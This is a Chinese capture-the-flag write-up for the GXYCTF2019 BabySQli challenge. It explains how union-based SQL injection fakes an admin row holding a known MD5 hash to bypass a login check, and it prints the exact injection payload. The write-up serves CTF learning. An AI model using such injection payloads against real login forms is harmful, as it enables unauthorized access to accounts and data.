web-[GXYCTF2019]BabySQli

题目要点

  • 当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据。

题目内容

在这里插入图片描述

解题

原题目描述:刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!
查看源码search.php看到MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
base32+base64解密后得到select * from user where username = '$name'
尝试user=admin&pass=123 提示为wrong pass,再尝试user=aa提示wrong user,说明有admin这个user的。
尝试union联合注入,user=' union select 1,2,3 #不报错,user=' union select 1,2,3,4 #报错了

当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据。
payload:

username栏:‘union select 1,admin’,‘e10adc3949ba59abbe56e057f20f883e’#
password栏:123456

总结:这个题考察的就是简单的手工注入+联合查询查询不存在数据会构造虚拟的数据。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值